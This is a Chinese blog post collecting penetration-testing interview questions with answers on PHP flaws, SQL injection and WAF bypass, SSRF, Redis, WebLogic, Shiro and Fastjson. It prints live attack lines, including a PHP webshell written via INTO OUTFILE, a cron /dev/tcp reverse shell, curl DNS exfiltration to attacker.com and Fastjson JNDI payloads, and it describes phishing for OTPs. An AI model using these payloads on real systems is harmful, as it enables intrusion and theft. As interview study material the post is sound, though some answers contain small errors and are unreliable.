2025年渗透测试面试题总结-拷打题库36(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2025年渗透测试面试题总结-拷打题库36

PHP代码常见入口函数查找

PHP框架路由方法熟悉度

PHP变量覆盖漏洞

文件包含漏洞防御

远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异

本地文件包含路径限制(PHP配置)

防止二次注入

最熟悉的三种Web漏洞类型

SQL注入过滤单引号绕过

MySQL报错注入常用函数

报错注入绕WAF

MySQL写文件函数

INTO OUTFILE使用限制

SQL Server其他渗透方式

SSRF可用的伪协议

Redis RCE过程

Redis未授权获取权限

/etc/passwd文件内容

二次注入修复方法

SQL注入过WAF(过滤information关键词)

命令执行漏洞HTTP不出网处理

高难度渗透测试案例

SYN开放端口扫描原理

Shiro绕WAF方法

WebLogic遭遇WAF拦截的后续操作

JBoss反序列化原理

WebLogic反序列化漏洞(CVE-2017-10271)

Fastjson漏洞检测

Fastjson漏洞回显判断

Fastjson高版本无回显绕过

2025年渗透测试面试题总结-拷打题库36

php代码常见入口函数怎么找
有一些php的开发框架可以帮我们做一些url路由,对这些路由的方法熟悉吗
介绍下PHP的变量覆盖
有一个php的程序,本身就允许文件包含的操作,同时想要避免文件包含漏洞,写代码的时候要注意哪些
远程文件包含和本地文件包含,这两种涉及的php设置有什么
本地文件包含能不能通过php配置限制文件包含的路径(不通过代码直接通过配置项来解决)
写代码的时候怎么防止二次注入
讲一下最熟悉的三种web漏洞类型,原理,测试方式
SQL注入过滤单引号怎么绕过
mysql报错注入常用的函数
报错注入绕waf
mysql写文件的函数有哪些
into outfile使用有哪些限制
sqlserver除了sql注入外还有什么渗透的方式
ssrf可以使用的伪协议
有了解过Redis RCE的过程吗
Redis未授权如何获得服务器权限
/etc/passwd文件包含哪些内容
二次注入要怎么修复
sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过
命令执行漏洞,http不出网有什么比较好的处理方法(发散一点说)
介绍一次难度比较高的渗透测试
syn开放链接原理
shiro 如何绕 waf
weblogic 如果在打站的时候,一旦遇到了 waf,第一个 payload 发过去,直接被拦截了, ip 也被 ban 了,如何进行下一步操作
jboss 反序列化原理
weblogic 反序列化原理,随便说一个漏洞,然后说触发原理
fastjson 怎么判断是不是有漏洞,原理是什么
fastjson 判断漏洞回显是怎么判断的,是用 dns 做回显还是其他的协议做,为什么
fastjson 高版本,无回显的情况,如何进行绕过,为什么可以这样绕过

PHP代码常见入口函数查找

  1. 入口文件定位
    • 默认入口index.phpadmin.php 等常见入口文件,通常包含路由分发逻辑。
    • 框架入口:如Laravel的public/index.php ,ThinkPHP的index.php
    • 路由配置:检查.htaccessweb.config 中的URL重写规则,确定请求如何映射到PHP脚本。
  2. 全局函数追踪
    • 超全局变量$_GET$_POST$_REQUEST的参数接收点。
    • 框架路由方法:如Laravel的Route::get(),ThinkPHP的$this->display()
  3. 危险函数触发点
    • 文件包含includerequire的参数是否可控。
    • 动态代码执行eval()call_user_func()的调用链分析。

PHP框架路由方法熟悉度

  1. 路由定义方式
    • 静态路由:如Route::get('/user', 'UserController@index')
    • 动态路由/user/{id},参数通过控制器方法接收。
    • 闭包路由:匿名函数处理请求,需检查闭包内的逻辑安全。
  2. 路由解析漏洞
    • ThinkPHP 5.x RCE:路由参数未过滤导致代码执行(如s=/index/\think\app/invokefunction)。
    • Laravel路由注入:动态路由参数未验证导致路径遍历。
  3. 安全配置检查
    • 中间件防护:验证身份验证中间件(如auth)是否覆盖敏感路由。
    • CSRF保护:检查路由是否豁免CSRF验证(如VerifyCsrfToken白名单)。

PHP变量覆盖漏洞

  1. 漏洞原理
    • extract()函数:从数组导入变量到符号表,若参数可控可覆盖全局变量。
    • parse_str()函数:解析查询字符串到变量,未初始化变量可被覆盖。
    • **变量动态赋值**:如`foreach($_GET as $key => $value) { key = $value; }`。
  2. 利用场景
    • 覆盖配置变量:如$is_admin = 0被覆盖为1,绕过权限检查。
    • 绕过认证逻辑:修改$_SESSION$_COOKIE中的用户标识。
  3. 修复方案
    • 禁用危险函数:避免使用extract(),改用明确变量赋值。
    • 初始化变量:使用前对变量赋默认值,如$is_admin = isset($_POST['admin']) ? 0 : 1

文件包含漏洞防御

  1. 代码层防御
    • 白名单限制:仅允许包含指定目录文件(如include './lib/' . $file . '.php')。
    • 动态参数过滤:检查文件名是否包含../或协议(如php://)。
  2. 配置层防御
    • 禁用高危协议php.ini 中设置allow_url_include=Off
    • 限制包含路径open_basedir设置为项目目录,阻止跨目录访问。
  3. 逻辑层防御
    • 文件后缀固定:拼接固定后缀(如.php),避免包含非PHP文件。
    • 文件存在性验证:包含前检查文件是否存在(如file_exists())。

远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异

  1. RFI相关配置
    • allow_url_fopen:控制是否允许打开远程文件(默认On)。
    • allow_url_include:控制是否允许包含远程文件(默认Off)。
  2. LFI相关配置
    • open_basedir:限制文件操作范围,但可能被绕过(如/proc/self/environ)。
    • disable_functions:禁用realpath()等函数,防止路径解析绕过。
  3. 协议影响
    • RFI协议http://ftp://allow_url_include开启。
    • LFI协议file://php://filteropen_basedir限制。

本地文件包含路径限制(PHP配置)

  1. open_basedir
    • 作用:限制PHP可访问的目录(如open_basedir=/var/www/html)。
    • 绕过:利用/proc/self/cwd/proc/self/fd访问其他目录。
  2. disable_functions
    • 禁用函数:如realpath()symlink(),防止符号链接攻击。
  3. 目录权限
    • 文件所有权:确保Web用户(如www-data)无权访问敏感目录(如/etc)。

防止二次注入

  1. 输入过滤
    • 统一转义:使用预处理语句或参数化查询,而非手动转义。
    • 数据类型强制:如intval()处理数字型参数。
  2. 存储层防御
    • 数据存储规范化:入库前统一转义,出库时保持原始数据。
    • ORM框架:使用Eloquent或Doctrine,自动处理参数绑定。
  3. 代码审计
    • 追踪数据流:检查数据从存储到输出的全流程是否一致转义。
    • 自动化测试:通过SQLMap的--second-order参数测试二次注入点。

最熟悉的三种Web漏洞类型

  1. SQL注入
    • 原理:用户输入拼接至SQL语句,导致恶意查询执行。
    • 测试' OR 1=1--测试布尔盲注,SLEEP(5)测试时间盲注。
    • 防御:预编译语句(PDO)、输入过滤(如preg_replace)。
  2. XSS(跨站脚本)
    • 原理:用户输入未转义输出到HTML,导致脚本执行。
    • 测试<script>alert(1)</script>测试反射型XSS。
    • 防御:输出转义(htmlspecialchars)、CSP策略。
  3. 文件上传漏洞
    • 原理:未校验文件类型/内容,上传恶意文件(如.php)。
    • 测试:上传.php文件,尝试绕过MIME类型检查。
    • 防御:白名单后缀、文件内容检测(如exif_imagetype())。

SQL注入过滤单引号绕过

  1. 编码绕过
    • URL编码%27代替单引号,%2527双重编码绕过。
    • 十六进制编码0x27表示单引号(如SELECT * FROM users WHERE id=0x27)。
  2. 宽字节注入
    • 原理:GBK编码中%df%27转为合法字符,绕过转义('�')。
    • 利用id=1%df%27 AND 1=1--
  3. 二次注入
    • 场景:入库时转义,出库时拼接导致单引号生效。
    • 测试:注册用户名为admin'--,后续查询触发注入。

MySQL报错注入常用函数

  1. updatexml()
    • 用法updatexml(1,concat(0x7e,(SELECT user())),1),利用XPath错误回显数据。
  2. extractvalue()
    • 用法extractvalue(1,concat(0x7e,(SELECT database()))),原理类似updatexml
  3. floor()
    • 用法:通过COUNT()GROUP BY触发主键重复错误(如SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x)。

报错注入绕WAF

  1. 函数替换
    • 替代函数:用exp()代替updatexml()(如exp(~(SELECT * FROM (SELECT user())a)))。
  2. 分块传输
    • HTTP分块:将请求拆分为多个块,绕过WAF正则检测。
  3. 注释混淆
    • 内联注释/*!50000SELECT*/绕过黑名单过滤。

MySQL写文件函数

  1. INTO OUTFILE
    • 用法SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/shell.php'
  2. DUMPFILE
    • 特点:写入二进制文件(如图片、二进制后门)。
  3. SELECT ... INTO变量
    • 限制:需secure_file_priv为空,且MySQL有写权限。

INTO OUTFILE使用限制

  1. 权限限制
    • MySQL用户权限:需具备FILE权限,且secure_file_privNULL
  2. 路径限制
    • secure_file_priv:若设置为/tmp,则只能写入该目录。
  3. 文件覆盖
    • 文件存在性:若目标文件已存在,写入会失败。

SQL Server其他渗透方式

  1. xp_cmdshell
    • 利用:启用并执行系统命令(如EXEC xp_cmdshell 'whoami')。
  2. 链接服务器攻击
    • 横向移动:通过OPENROWSET访问其他数据库服务器。
  3. CLR集成
    • 自定义程序集:加载恶意.NET程序执行系统命令。

SSRF可用的伪协议

  1. file://
    • 利用:读取本地文件(如file:///etc/passwd)。
  2. dict://
    • 利用:探测端口服务(如dict://127.0.0.1:6379/info)。
  3. gopher://
    • 利用:构造HTTP请求攻击内网服务(如Redis未授权访问)。

Redis RCE过程

  1. 写入SSH公钥
    • 步骤:通过config set dir设置目录,set写入公钥到authorized_keys
  2. Web目录写Shell
    • 步骤:设置目录为Web根路径,写入PHP后门。
  3. 主从复制利用
    • 步骤:伪造恶意Redis主节点,同步恶意模块(如.so文件)。

Redis未授权获取权限

  1. 信息泄露
    • 执行命令INFO获取服务器信息,KEYS *遍历数据库键。
  2. 写定时任务
    • 步骤config set dir /var/spool/cron,写入*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
  3. Lua沙箱绕过
    • 利用CVE:如CVE-2022-0543(Debian特定漏洞)执行系统命令。

/etc/passwd文件内容

  1. 用户账户信息
    • 格式username:x:UID:GID:description:/home/dir:/bin/bash
  2. 特殊用户
    • root:UID=0,拥有最高权限。
    • 服务账户:如mysqlwww-data,无登录Shell。

二次注入修复方法

  1. 数据存储规范化
    • 转义存储:入库时对特殊字符转义(如addslashes())。
  2. 输出上下文转义
    • 动态转义:根据输出位置(HTML、SQL、JSON)使用不同转义方法。
  3. ORM框架使用
    • 参数化查询:避免手动拼接SQL,如使用Eloquent的where()方法。

SQL注入过WAF(过滤information关键词)

  1. 大小写混淆
    • 绕过InFoRmaTiOn_schema.tables
  2. 注释分割
    • 绕过infoorrmation/**/_schema
  3. 等价替换
    • 替代表:使用mysql.innodb_table_stats 代替information_schema

命令执行漏洞HTTP不出网处理

  1. DNS外带数据
    • 利用curl http://$(whoami).attacker.com
  2. ICMP隧道
    • 工具:使用icmpshping -p携带数据。
  3. 日志写入
    • 步骤:将命令结果写入Web日志,通过访问日志读取。

高难度渗透测试案例

  1. 目标环境
    • 场景:某金融系统,具备WAF、IDS、多因素认证。
  2. 突破路径
    • 钓鱼攻击:伪造登录页窃取OTP,绕过多因素认证。
    • WAF绕过:分块传输+注释混淆绕过SQL注入检测。
  3. 内网横向
    • 利用漏洞:通过Exchange SSRF(CVE-2021-26855)进入内网。

SYN开放端口扫描原理

  1. 三次握手
    • SYN扫描:发送SYN包,若收到SYN-ACK则认为端口开放,不完成握手(RST终止)。
  2. 隐蔽性
    • 无连接记录:半开放扫描不建立完整连接,日志中不易被发现。
  3. 工具实现
    • Nmap命令nmap -sS 192.168.1.1

Shiro绕WAF方法

  1. 密钥爆破
    • 原理:Shiro硬编码密钥,使用已知密钥生成恶意RememberMe Cookie。
  2. 加密模式绕过
    • AES-CBC:利用Padding Oracle攻击解密或加密恶意序列化数据。
  3. 流量混淆
    • HTTP头伪装:将Cookie拆分到多个头字段,绕过正则匹配。

WebLogic遭遇WAF拦截的后续操作

  1. 流量分析
    • 捕获特征:分析WAF拦截规则(如User-Agent、Payload长度)。
  2. 协议转换
    • HTTP/HTTPS切换:尝试HTTPS绕过明文检测。
  3. 延迟与分块
    • 慢速攻击:降低发包速率,绕过频率检测。
    • 分块传输:拆解Payload为多个块,绕过正则匹配。

JBoss反序列化原理

  1. JMXInvokerServlet
    • 漏洞点:未授权访问/invoker/JMXInvokerServlet,接收序列化数据。
  2. 利用链
    • 库依赖org.jboss.invocation.MarshalledValue 触发Gadget链。
  3. 修复方案
    • 删除Servlet:移除invoker目录或配置访问控制。

WebLogic反序列化漏洞(CVE-2017-10271)

  1. 漏洞原理
    • XML解析wls-wsat组件接收恶意XML数据,触发WorkContext反序列化。
  2. 利用链
    • Gadget链:利用com.sun.rowset.JdbcRowSetImpl 触发JNDI注入。
  3. 防御措施
    • 删除组件:移除wls-wsat相关文件,或限制访问IP。

Fastjson漏洞检测

  1. 版本识别
    • 响应头特征X-Serialized-Json头或异常错误信息。
  2. DNS探测
    • Payload{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
  3. 报错回显
    • 触发异常:构造不存在的类名,观察是否暴露类路径信息。

Fastjson漏洞回显判断

  1. DNSLog
    • 原理:利用JNDI加载远程类触发DNS查询(如ldap://dnslog.cn/exp )。
  2. HTTP请求
    • 回显:通过java.net.URL 类发起HTTP请求携带数据。
  3. 延迟检测
    • 时间盲注:构造Thread.sleep() 判断是否存在漏洞。

Fastjson高版本无回显绕过

  1. 内存马注入
    • 利用链:结合Tomcat Filter/Servlet注入内存Shell。
  2. 本地文件写入
    • 写Web目录:通过java.io.FileWriter 写入JSP后门。
  3. 异步线程加载
    • 延迟触发:利用java.util.TimerTask 延迟执行恶意代码绕过检测。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值